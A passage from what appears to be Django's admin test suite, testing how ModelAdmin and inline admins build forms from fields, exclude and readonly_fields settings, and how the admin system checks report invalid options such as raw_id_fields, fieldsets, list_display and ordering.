        # You can also pass a tuple to `exclude`.
        class BandAdmin(ModelAdmin):
            exclude = ('bio',)

        ma = BandAdmin(Band, self.site)
        self.assertEqual(list(ma.get_form(request).base_fields), ['name', 'sign_date'])

        # Using `fields` and `exclude`.
        class BandAdmin(ModelAdmin):
            fields = ['name', 'bio']
            exclude = ['bio']

        ma = BandAdmin(Band, self.site)
        self.assertEqual(list(ma.get_form(request).base_fields), ['name'])

    def test_custom_form_meta_exclude_with_readonly(self):
        """
        Ensure that the custom ModelForm's `Meta.exclude` is respected when
        used in conjunction with `ModelAdmin.readonly_fields` and when no
        `ModelAdmin.exclude` is defined.
        Refs #14496.
        """
        # First, with `ModelAdmin` -----------------------

        class AdminBandForm(forms.ModelForm):
            class Meta:
                model = Band
                exclude = ['bio']

        class BandAdmin(ModelAdmin):
            readonly_fields = ['name']
            form = AdminBandForm

        ma = BandAdmin(Band, self.site)
        self.assertEqual(list(ma.get_form(request).base_fields), ['sign_date'])

        # Then, with `InlineModelAdmin`  -----------------

        class AdminConcertForm(forms.ModelForm):
            class Meta:
                model = Concert
                exclude = ['day']

        class ConcertInline(TabularInline):
            readonly_fields = ['transport']
            form = AdminConcertForm
            fk_name = 'main_band'
            model = Concert

        class BandAdmin(ModelAdmin):
            inlines = [
                ConcertInline
            ]

        ma = BandAdmin(Band, self.site)
        self.assertEqual(
            list(list(ma.get_formsets_with_inlines(request))[0][0]().forms[0].fields),
            ['main_band', 'opening_band', 'id', 'DELETE'])

    def test_custom_formfield_override_readonly(self):
        class AdminBandForm(forms.ModelForm):
            name = forms.CharField()

            class Meta:
                exclude = tuple()
                model = Band

        class BandAdmin(ModelAdmin):
            form = AdminBandForm
            readonly_fields = ['name']

        ma = BandAdmin(Band, self.site)

        # `name` shouldn't appear in base_fields because it's part of
        # readonly_fields.
        self.assertEqual(
            list(ma.get_form(request).base_fields),
            ['bio', 'sign_date']
        )
        # But it should appear in get_fields()/fieldsets() so it can be
        # displayed as read-only.
        self.assertEqual(
            list(ma.get_fields(request)),
            ['bio', 'sign_date', 'name']
        )
        self.assertEqual(
            list(ma.get_fieldsets(request)),
            [(None, {'fields': ['bio', 'sign_date', 'name']})]
        )

    def test_custom_form_meta_exclude(self):
        """
        Ensure that the custom ModelForm's `Meta.exclude` is overridden if
        `ModelAdmin.exclude` or `InlineModelAdmin.exclude` are defined.
        Refs #14496.
        """
        # First, with `ModelAdmin` -----------------------

        class AdminBandForm(forms.ModelForm):
            class Meta:
                model = Band
                exclude = ['bio']

        class BandAdmin(ModelAdmin):
            exclude = ['name']
            form = AdminBandForm

        ma = BandAdmin(Band, self.site)
        self.assertEqual(list(ma.get_form(request).base_fields), ['bio', 'sign_date'])

        # Then, with `InlineModelAdmin`  -----------------

        class AdminConcertForm(forms.ModelForm):

            class Meta:
                model = Concert
                exclude = ['day']

        class ConcertInline(TabularInline):
            exclude = ['transport']
            form = AdminConcertForm
            fk_name = 'main_band'
            model = Concert

        class BandAdmin(ModelAdmin):
            inlines = [
                ConcertInline
            ]

        ma = BandAdmin(Band, self.site)
        self.assertEqual(
            list(list(ma.get_formsets_with_inlines(request))[0][0]().forms[0].fields),
            ['main_band', 'opening_band', 'day', 'id', 'DELETE']
        )

    def test_custom_form_validation(self):
        # If we specify a form, it should use it allowing custom validation to work
        # properly. This won't, however, break any of the admin widgets or media.

        class AdminBandForm(forms.ModelForm):
            delete = forms.BooleanField()

        class BandAdmin(ModelAdmin):
            form = AdminBandForm

        ma = BandAdmin(Band, self.site)
        self.assertEqual(list(ma.get_form(request).base_fields), ['name', 'bio', 'sign_date', 'delete'])
        self.assertEqual(type(ma.get_form(request).base_fields['sign_date'].widget), AdminDateWidget)

    def test_form_exclude_kwarg_override(self):
        """
        Ensure that the `exclude` kwarg passed to `ModelAdmin.get_form()`
        overrides all other declarations. Refs #8999.
        """

        class AdminBandForm(forms.ModelForm):
            class Meta:
                model = Band
                exclude = ['name']

        class BandAdmin(ModelAdmin):
            exclude = ['sign_date']
            form = AdminBandForm

            def get_form(self, request, obj=None, **kwargs):
                kwargs['exclude'] = ['bio']
                return super(BandAdmin, self).get_form(request, obj, **kwargs)

        ma = BandAdmin(Band, self.site)
        self.assertEqual(list(ma.get_form(request).base_fields), ['name', 'sign_date'])

    def test_formset_exclude_kwarg_override(self):
        """
        Ensure that the `exclude` kwarg passed to `InlineModelAdmin.get_formset()`
        overrides all other declarations. Refs #8999.
        """

        class AdminConcertForm(forms.ModelForm):
            class Meta:
                model = Concert
                exclude = ['day']

        class ConcertInline(TabularInline):
            exclude = ['transport']
            form = AdminConcertForm
            fk_name = 'main_band'
            model = Concert

            def get_formset(self, request, obj=None, **kwargs):
                kwargs['exclude'] = ['opening_band']
                return super(ConcertInline, self).get_formset(request, obj, **kwargs)

        class BandAdmin(ModelAdmin):
            inlines = [
                ConcertInline
            ]

        ma = BandAdmin(Band, self.site)
        self.assertEqual(
            list(list(ma.get_formsets_with_inlines(request))[0][0]().forms[0].fields),
            ['main_band', 'day', 'transport', 'id', 'DELETE'])

    def test_queryset_override(self):
        # If we need to override the queryset of a ModelChoiceField in our custom form
        # make sure that RelatedFieldWidgetWrapper doesn't mess that up.

        band2 = Band(name='The Beatles', bio='', sign_date=date(1962, 1, 1))
        band2.save()

        class ConcertAdmin(ModelAdmin):
            pass
        ma = ConcertAdmin(Concert, self.site)
        form = ma.get_form(request)()

        self.assertHTMLEqual(
            str(form["main_band"]),
            '<div class="related-widget-wrapper">'
            '<select name="main_band" id="id_main_band" required>'
            '<option value="" selected="selected">---------</option>'
            '<option value="%d">The Beatles</option>'
            '<option value="%d">The Doors</option>'
            '</select></div>' % (band2.id, self.band.id)
        )

        class AdminConcertForm(forms.ModelForm):
            def __init__(self, *args, **kwargs):
                super(AdminConcertForm, self).__init__(*args, **kwargs)
                self.fields["main_band"].queryset = Band.objects.filter(name='The Doors')

        class ConcertAdminWithForm(ModelAdmin):
            form = AdminConcertForm

        ma = ConcertAdminWithForm(Concert, self.site)
        form = ma.get_form(request)()

        self.assertHTMLEqual(
            str(form["main_band"]),
            '<div class="related-widget-wrapper">'
            '<select name="main_band" id="id_main_band" required>'
            '<option value="" selected="selected">---------</option>'
            '<option value="%d">The Doors</option>'
            '</select></div>' % self.band.id
        )

    def test_regression_for_ticket_15820(self):
        """
        Ensure that `obj` is passed from `InlineModelAdmin.get_fieldsets()` to
        `InlineModelAdmin.get_formset()`.
        """
        class CustomConcertForm(forms.ModelForm):

            class Meta:
                model = Concert
                fields = ['day']

        class ConcertInline(TabularInline):
            model = Concert
            fk_name = 'main_band'

            def get_formset(self, request, obj=None, **kwargs):
                if obj:
                    kwargs['form'] = CustomConcertForm
                return super(ConcertInline, self).get_formset(request, obj, **kwargs)

        class BandAdmin(ModelAdmin):
            inlines = [
                ConcertInline
            ]

        Concert.objects.create(main_band=self.band, opening_band=self.band, day=1)
        ma = BandAdmin(Band, self.site)
        inline_instances = ma.get_inline_instances(request)
        fieldsets = list(inline_instances[0].get_fieldsets(request))
        self.assertEqual(fieldsets[0][1]['fields'], ['main_band', 'opening_band', 'day', 'transport'])
        fieldsets = list(inline_instances[0].get_fieldsets(request, inline_instances[0].model))
        self.assertEqual(fieldsets[0][1]['fields'], ['day'])

    # radio_fields behavior ###########################################

    def test_default_foreign_key_widget(self):
        # First, without any radio_fields specified, the widgets for ForeignKey
        # and fields with choices specified ought to be a basic Select widget.
        # ForeignKey widgets in the admin are wrapped with RelatedFieldWidgetWrapper so
        # they need to be handled properly when type checking. For Select fields, all of
        # the choices lists have a first entry of dashes.

        cma = ModelAdmin(Concert, self.site)
        cmafa = cma.get_form(request)

        self.assertEqual(type(cmafa.base_fields['main_band'].widget.widget), Select)
        self.assertEqual(
            list(cmafa.base_fields['main_band'].widget.choices),
            [('', '---------'), (self.band.id, 'The Doors')])

        self.assertEqual(type(cmafa.base_fields['opening_band'].widget.widget), Select)
        self.assertEqual(
            list(cmafa.base_fields['opening_band'].widget.choices),
            [('', '---------'), (self.band.id, 'The Doors')]
        )
        self.assertEqual(type(cmafa.base_fields['day'].widget), Select)
        self.assertEqual(
            list(cmafa.base_fields['day'].widget.choices),
            [('', '---------'), (1, 'Fri'), (2, 'Sat')]
        )
        self.assertEqual(type(cmafa.base_fields['transport'].widget), Select)
        self.assertEqual(
            list(cmafa.base_fields['transport'].widget.choices),
            [('', '---------'), (1, 'Plane'), (2, 'Train'), (3, 'Bus')])

    def test_foreign_key_as_radio_field(self):
        # Now specify all the fields as radio_fields.  Widgets should now be
        # RadioSelect, and the choices list should have a first entry of 'None' if
        # blank=True for the model field.  Finally, the widget should have the
        # 'radiolist' attr, and 'inline' as well if the field is specified HORIZONTAL.

        class ConcertAdmin(ModelAdmin):
            radio_fields = {
                'main_band': HORIZONTAL,
                'opening_band': VERTICAL,
                'day': VERTICAL,
                'transport': HORIZONTAL,
            }

        cma = ConcertAdmin(Concert, self.site)
        cmafa = cma.get_form(request)

        self.assertEqual(type(cmafa.base_fields['main_band'].widget.widget), AdminRadioSelect)
        self.assertEqual(cmafa.base_fields['main_band'].widget.attrs, {'class': 'radiolist inline'})
        self.assertEqual(
            list(cmafa.base_fields['main_band'].widget.choices),
            [(self.band.id, 'The Doors')]
        )

        self.assertEqual(type(cmafa.base_fields['opening_band'].widget.widget), AdminRadioSelect)
        self.assertEqual(cmafa.base_fields['opening_band'].widget.attrs, {'class': 'radiolist'})
        self.assertEqual(
            list(cmafa.base_fields['opening_band'].widget.choices),
            [('', 'None'), (self.band.id, 'The Doors')]
        )
        self.assertEqual(type(cmafa.base_fields['day'].widget), AdminRadioSelect)
        self.assertEqual(cmafa.base_fields['day'].widget.attrs, {'class': 'radiolist'})
        self.assertEqual(list(cmafa.base_fields['day'].widget.choices), [(1, 'Fri'), (2, 'Sat')])

        self.assertEqual(type(cmafa.base_fields['transport'].widget), AdminRadioSelect)
        self.assertEqual(cmafa.base_fields['transport'].widget.attrs, {'class': 'radiolist inline'})
        self.assertEqual(
            list(cmafa.base_fields['transport'].widget.choices),
            [('', 'None'), (1, 'Plane'), (2, 'Train'), (3, 'Bus')]
        )

        class AdminConcertForm(forms.ModelForm):
            class Meta:
                model = Concert
                exclude = ('transport',)

        class ConcertAdmin(ModelAdmin):
            form = AdminConcertForm

        ma = ConcertAdmin(Concert, self.site)
        self.assertEqual(list(ma.get_form(request).base_fields), ['main_band', 'opening_band', 'day'])

        class AdminConcertForm(forms.ModelForm):
            extra = forms.CharField()

            class Meta:
                model = Concert
                fields = ['extra', 'transport']

        class ConcertAdmin(ModelAdmin):
            form = AdminConcertForm

        ma = ConcertAdmin(Concert, self.site)
        self.assertEqual(list(ma.get_form(request).base_fields), ['extra', 'transport'])

        class ConcertInline(TabularInline):
            form = AdminConcertForm
            model = Concert
            fk_name = 'main_band'
            can_delete = True

        class BandAdmin(ModelAdmin):
            inlines = [
                ConcertInline
            ]

        ma = BandAdmin(Band, self.site)
        self.assertEqual(
            list(list(ma.get_formsets_with_inlines(request))[0][0]().forms[0].fields),
            ['extra', 'transport', 'id', 'DELETE', 'main_band']
        )


class CheckTestCase(SimpleTestCase):

    def assertIsInvalid(self, model_admin, model, msg, id=None, hint=None, invalid_obj=None):
        invalid_obj = invalid_obj or model_admin
        admin_obj = model_admin(model, AdminSite())
        errors = admin_obj.check()
        expected = [
            Error(
                msg,
                hint=hint,
                obj=invalid_obj,
                id=id,
            )
        ]
        self.assertEqual(errors, expected)

    def assertIsInvalidRegexp(self, model_admin, model, msg, id=None, hint=None, invalid_obj=None):
        """
        Same as assertIsInvalid but treats the given msg as a regexp.
        """
        invalid_obj = invalid_obj or model_admin
        admin_obj = model_admin(model, AdminSite())
        errors = admin_obj.check()
        self.assertEqual(len(errors), 1)
        error = errors[0]
        self.assertEqual(error.hint, hint)
        self.assertEqual(error.obj, invalid_obj)
        self.assertEqual(error.id, id)
        six.assertRegex(self, error.msg, msg)

    def assertIsValid(self, model_admin, model):
        admin_obj = model_admin(model, AdminSite())
        errors = admin_obj.check()
        expected = []
        self.assertEqual(errors, expected)


class RawIdCheckTests(CheckTestCase):

    def test_not_iterable(self):
        class ValidationTestModelAdmin(ModelAdmin):
            raw_id_fields = 10

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'raw_id_fields' must be a list or tuple.",
            'admin.E001')

    def test_missing_field(self):
        class ValidationTestModelAdmin(ModelAdmin):
            raw_id_fields = ('non_existent_field',)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            ("The value of 'raw_id_fields[0]' refers to 'non_existent_field', "
             "which is not an attribute of 'modeladmin.ValidationTestModel'."),
            'admin.E002')

    def test_invalid_field_type(self):
        class ValidationTestModelAdmin(ModelAdmin):
            raw_id_fields = ('name',)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'raw_id_fields[0]' must be a foreign key or a many-to-many field.",
            'admin.E003')

    def test_valid_case(self):
        class ValidationTestModelAdmin(ModelAdmin):
            raw_id_fields = ('users',)

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class FieldsetsCheckTests(CheckTestCase):

    def test_valid_case(self):
        class ValidationTestModelAdmin(ModelAdmin):
            fieldsets = (("General", {'fields': ('name',)}),)

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)

    def test_not_iterable(self):

        class ValidationTestModelAdmin(ModelAdmin):
            fieldsets = 10

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'fieldsets' must be a list or tuple.",
            'admin.E007')

    def test_non_iterable_item(self):
        class ValidationTestModelAdmin(ModelAdmin):
            fieldsets = ({},)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'fieldsets[0]' must be a list or tuple.",
            'admin.E008')

    def test_item_not_a_pair(self):
        class ValidationTestModelAdmin(ModelAdmin):
            fieldsets = ((),)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'fieldsets[0]' must be of length 2.",
            'admin.E009')

    def test_second_element_of_item_not_a_dict(self):
        class ValidationTestModelAdmin(ModelAdmin):
            fieldsets = (("General", ()),)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'fieldsets[0][1]' must be a dictionary.",
            'admin.E010')

    def test_missing_fields_key(self):
        class ValidationTestModelAdmin(ModelAdmin):
            fieldsets = (("General", {}),)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'fieldsets[0][1]' must contain the key 'fields'.",
            'admin.E011')

        class ValidationTestModelAdmin(ModelAdmin):
            fieldsets = (("General", {'fields': ('name',)}),)

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)

    def test_specified_both_fields_and_fieldsets(self):
        class ValidationTestModelAdmin(ModelAdmin):
            fieldsets = (("General", {'fields': ('name',)}),)
            fields = ['name']

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "Both 'fieldsets' and 'fields' are specified.",
            'admin.E005')

    def test_duplicate_fields(self):
        class ValidationTestModelAdmin(ModelAdmin):
            fieldsets = [(None, {'fields': ['name', 'name']})]

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "There are duplicate field(s) in 'fieldsets[0][1]'.",
            'admin.E012')

    def test_fieldsets_with_custom_form_validation(self):
        class BandAdmin(ModelAdmin):
            fieldsets = (
                ('Band', {
                    'fields': ('name',)
                }),
            )

        self.assertIsValid(BandAdmin, Band)


class FieldsCheckTests(CheckTestCase):

    def test_duplicate_fields_in_fields(self):
        class ValidationTestModelAdmin(ModelAdmin):
            fields = ['name', 'name']

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'fields' contains duplicate field(s).",
            'admin.E006')

    def test_inline(self):
        class ValidationTestInline(TabularInline):
            model = ValidationTestInlineModel
            fields = 10

        class ValidationTestModelAdmin(ModelAdmin):
            inlines = [ValidationTestInline]

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'fields' must be a list or tuple.",
            'admin.E004',
            invalid_obj=ValidationTestInline)


class FormCheckTests(CheckTestCase):

    def test_invalid_type(self):
        class FakeForm(object):
            pass

        class ValidationTestModelAdmin(ModelAdmin):
            form = FakeForm

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'form' must inherit from 'BaseModelForm'.",
            'admin.E016')

    def test_fieldsets_with_custom_form_validation(self):

        class BandAdmin(ModelAdmin):
            fieldsets = (
                ('Band', {
                    'fields': ('name',)
                }),
            )

        self.assertIsValid(BandAdmin, Band)

    def test_valid_case(self):
        class AdminBandForm(forms.ModelForm):
            delete = forms.BooleanField()

        class BandAdmin(ModelAdmin):
            form = AdminBandForm

            fieldsets = (
                ('Band', {
                    'fields': ('name', 'bio', 'sign_date', 'delete')
                }),
            )

        self.assertIsValid(BandAdmin, Band)


class FilterVerticalCheckTests(CheckTestCase):

    def test_not_iterable(self):
        class ValidationTestModelAdmin(ModelAdmin):
            filter_vertical = 10

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'filter_vertical' must be a list or tuple.",
            'admin.E017')

    def test_missing_field(self):
        class ValidationTestModelAdmin(ModelAdmin):
            filter_vertical = ('non_existent_field',)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            ("The value of 'filter_vertical[0]' refers to 'non_existent_field', "
             "which is not an attribute of 'modeladmin.ValidationTestModel'."),
            'admin.E019')

    def test_invalid_field_type(self):
        class ValidationTestModelAdmin(ModelAdmin):
            filter_vertical = ('name',)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'filter_vertical[0]' must be a many-to-many field.",
            'admin.E020')

    def test_valid_case(self):
        class ValidationTestModelAdmin(ModelAdmin):
            filter_vertical = ("users",)

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class FilterHorizontalCheckTests(CheckTestCase):

    def test_not_iterable(self):
        class ValidationTestModelAdmin(ModelAdmin):
            filter_horizontal = 10

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'filter_horizontal' must be a list or tuple.",
            'admin.E018')

    def test_missing_field(self):
        class ValidationTestModelAdmin(ModelAdmin):
            filter_horizontal = ('non_existent_field',)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            ("The value of 'filter_horizontal[0]' refers to 'non_existent_field', "
             "which is not an attribute of 'modeladmin.ValidationTestModel'."),
            'admin.E019')

    def test_invalid_field_type(self):
        class ValidationTestModelAdmin(ModelAdmin):
            filter_horizontal = ('name',)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'filter_horizontal[0]' must be a many-to-many field.",
            'admin.E020')

    def test_valid_case(self):
        class ValidationTestModelAdmin(ModelAdmin):
            filter_horizontal = ("users",)

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class RadioFieldsCheckTests(CheckTestCase):

    def test_not_dictionary(self):

        class ValidationTestModelAdmin(ModelAdmin):
            radio_fields = ()

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'radio_fields' must be a dictionary.",
            'admin.E021')

    def test_missing_field(self):
        class ValidationTestModelAdmin(ModelAdmin):
            radio_fields = {'non_existent_field': VERTICAL}

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            ("The value of 'radio_fields' refers to 'non_existent_field', "
             "which is not an attribute of 'modeladmin.ValidationTestModel'."),
            'admin.E022')

    def test_invalid_field_type(self):
        class ValidationTestModelAdmin(ModelAdmin):
            radio_fields = {'name': VERTICAL}

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            ("The value of 'radio_fields' refers to 'name', which is not an instance "
             "of ForeignKey, and does not have a 'choices' definition."),
            'admin.E023')

    def test_invalid_value(self):
        class ValidationTestModelAdmin(ModelAdmin):
            radio_fields = {"state": None}

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'radio_fields[\"state\"]' must be either admin.HORIZONTAL or admin.VERTICAL.",
            'admin.E024')

    def test_valid_case(self):
        class ValidationTestModelAdmin(ModelAdmin):
            radio_fields = {"state": VERTICAL}

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class PrepopulatedFieldsCheckTests(CheckTestCase):

    def test_not_dictionary(self):

        class ValidationTestModelAdmin(ModelAdmin):
            prepopulated_fields = ()

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'prepopulated_fields' must be a dictionary.",
            'admin.E026')

    def test_missing_field(self):
        class ValidationTestModelAdmin(ModelAdmin):
            prepopulated_fields = {'non_existent_field': ("slug",)}

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            ("The value of 'prepopulated_fields' refers to 'non_existent_field', "
             "which is not an attribute of 'modeladmin.ValidationTestModel'."),
            'admin.E027')

    def test_missing_field_again(self):
        class ValidationTestModelAdmin(ModelAdmin):
            prepopulated_fields = {"slug": ('non_existent_field',)}

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            ("The value of 'prepopulated_fields[\"slug\"][0]' refers to 'non_existent_field', "
             "which is not an attribute of 'modeladmin.ValidationTestModel'."),
            'admin.E030')

    def test_invalid_field_type(self):
        class ValidationTestModelAdmin(ModelAdmin):
            prepopulated_fields = {"users": ('name',)}

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            ("The value of 'prepopulated_fields' refers to 'users', which must not be "
             "a DateTimeField, a ForeignKey, or a ManyToManyField."),
            'admin.E028')

    def test_valid_case(self):
        class ValidationTestModelAdmin(ModelAdmin):
            prepopulated_fields = {"slug": ('name',)}

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class ListDisplayTests(CheckTestCase):

    def test_not_iterable(self):

        class ValidationTestModelAdmin(ModelAdmin):
            list_display = 10

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'list_display' must be a list or tuple.",
            'admin.E107')

    def test_missing_field(self):
        class ValidationTestModelAdmin(ModelAdmin):
            list_display = ('non_existent_field',)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            ("The value of 'list_display[0]' refers to 'non_existent_field', which is not a callable, an attribute "
             "of 'ValidationTestModelAdmin', or an attribute or method on 'modeladmin.ValidationTestModel'."),
            'admin.E108')

    def test_invalid_field_type(self):
        class ValidationTestModelAdmin(ModelAdmin):
            list_display = ('users',)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'list_display[0]' must not be a ManyToManyField.",
            'admin.E109')

    def test_valid_case(self):
        def a_callable(obj):
            pass

        class ValidationTestModelAdmin(ModelAdmin):
            def a_method(self, obj):
                pass
            list_display = ('name', 'decade_published_in', 'a_method', a_callable)

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class ListDisplayLinksCheckTests(CheckTestCase):

    def test_not_iterable(self):
        class ValidationTestModelAdmin(ModelAdmin):
            list_display_links = 10

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'list_display_links' must be a list, a tuple, or None.",
            'admin.E110')

    def test_missing_field(self):
        class ValidationTestModelAdmin(ModelAdmin):
            list_display_links = ('non_existent_field',)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel, (
                "The value of 'list_display_links[0]' refers to "
                "'non_existent_field', which is not defined in 'list_display'."
            ), 'admin.E111'
        )

    def test_missing_in_list_display(self):
        class ValidationTestModelAdmin(ModelAdmin):
            list_display_links = ('name',)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'list_display_links[0]' refers to 'name', which is not defined in 'list_display'.",
            'admin.E111')

    def test_valid_case(self):
        def a_callable(obj):
            pass

        class ValidationTestModelAdmin(ModelAdmin):
            def a_method(self, obj):
                pass
            list_display = ('name', 'decade_published_in', 'a_method', a_callable)
            list_display_links = ('name', 'decade_published_in', 'a_method', a_callable)

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)

    def test_None_is_valid_case(self):
        class ValidationTestModelAdmin(ModelAdmin):
            list_display_links = None

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class ListFilterTests(CheckTestCase):

    def test_list_filter_validation(self):
        class ValidationTestModelAdmin(ModelAdmin):
            list_filter = 10

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'list_filter' must be a list or tuple.",
            'admin.E112')

    def test_missing_field(self):
        class ValidationTestModelAdmin(ModelAdmin):
            list_filter = ('non_existent_field',)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'list_filter[0]' refers to 'non_existent_field', which does not refer to a Field.",
            'admin.E116')

    def test_not_filter(self):
        class RandomClass(object):
            pass

        class ValidationTestModelAdmin(ModelAdmin):
            list_filter = (RandomClass,)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'list_filter[0]' must inherit from 'ListFilter'.",
            'admin.E113')

    def test_not_filter_again(self):
        class RandomClass(object):
            pass

        class ValidationTestModelAdmin(ModelAdmin):
            list_filter = (('is_active', RandomClass),)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'list_filter[0][1]' must inherit from 'FieldListFilter'.",
            'admin.E115')

    def test_not_filter_again_again(self):
        class AwesomeFilter(SimpleListFilter):
            def get_title(self):
                return 'awesomeness'

            def get_choices(self, request):
                return (('bit', 'A bit awesome'), ('very', 'Very awesome'), )

            def get_queryset(self, cl, qs):
                return qs

        class ValidationTestModelAdmin(ModelAdmin):
            list_filter = (('is_active', AwesomeFilter),)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'list_filter[0][1]' must inherit from 'FieldListFilter'.",
            'admin.E115')

    def test_not_associated_with_field_name(self):
        class ValidationTestModelAdmin(ModelAdmin):
            list_filter = (BooleanFieldListFilter,)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'list_filter[0]' must not inherit from 'FieldListFilter'.",
            'admin.E114')

    def test_valid_case(self):
        class AwesomeFilter(SimpleListFilter):
            def get_title(self):
                return 'awesomeness'

            def get_choices(self, request):
                return (('bit', 'A bit awesome'), ('very', 'Very awesome'), )

            def get_queryset(self, cl, qs):
                return qs

        class ValidationTestModelAdmin(ModelAdmin):
            list_filter = ('is_active', AwesomeFilter, ('is_active', BooleanFieldListFilter), 'no')

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class ListPerPageCheckTests(CheckTestCase):

    def test_not_integer(self):
        class ValidationTestModelAdmin(ModelAdmin):
            list_per_page = 'hello'

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'list_per_page' must be an integer.",
            'admin.E118')

    def test_valid_case(self):
        class ValidationTestModelAdmin(ModelAdmin):
            list_per_page = 100

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class ListMaxShowAllCheckTests(CheckTestCase):

    def test_not_integer(self):
        class ValidationTestModelAdmin(ModelAdmin):
            list_max_show_all = 'hello'

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'list_max_show_all' must be an integer.",
            'admin.E119')

    def test_valid_case(self):
        class ValidationTestModelAdmin(ModelAdmin):
            list_max_show_all = 200

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class SearchFieldsCheckTests(CheckTestCase):

    def test_not_iterable(self):

        class ValidationTestModelAdmin(ModelAdmin):
            search_fields = 10

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'search_fields' must be a list or tuple.",
            'admin.E126')


class DateHierarchyCheckTests(CheckTestCase):

    def test_missing_field(self):

        class ValidationTestModelAdmin(ModelAdmin):
            date_hierarchy = 'non_existent_field'

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'date_hierarchy' refers to 'non_existent_field', which "
            "does not refer to a Field.",
            'admin.E127'
        )

    def test_invalid_field_type(self):
        class ValidationTestModelAdmin(ModelAdmin):
            date_hierarchy = 'name'

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'date_hierarchy' must be a DateField or DateTimeField.",
            'admin.E128')

    def test_valid_case(self):
        class ValidationTestModelAdmin(ModelAdmin):
            date_hierarchy = 'pub_date'

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)

    def test_related_valid_case(self):
        class ValidationTestModelAdmin(ModelAdmin):
            date_hierarchy = 'band__sign_date'

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)

    def test_related_invalid_field_type(self):
        class ValidationTestModelAdmin(ModelAdmin):
            date_hierarchy = 'band__name'

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'date_hierarchy' must be a DateField or DateTimeField.",
            'admin.E128'
        )


class OrderingCheckTests(CheckTestCase):

    def test_not_iterable(self):
        class ValidationTestModelAdmin(ModelAdmin):
            ordering = 10

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'ordering' must be a list or tuple.",
            'admin.E031'
        )

        class ValidationTestModelAdmin(ModelAdmin):
            ordering = ('non_existent_field',)

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'ordering[0]' refers to 'non_existent_field', "
            "which is not an attribute of 'modeladmin.ValidationTestModel'.",
            'admin.E033'
        )

    def test_random_marker_not_alone(self):
        class ValidationTestModelAdmin(ModelAdmin):
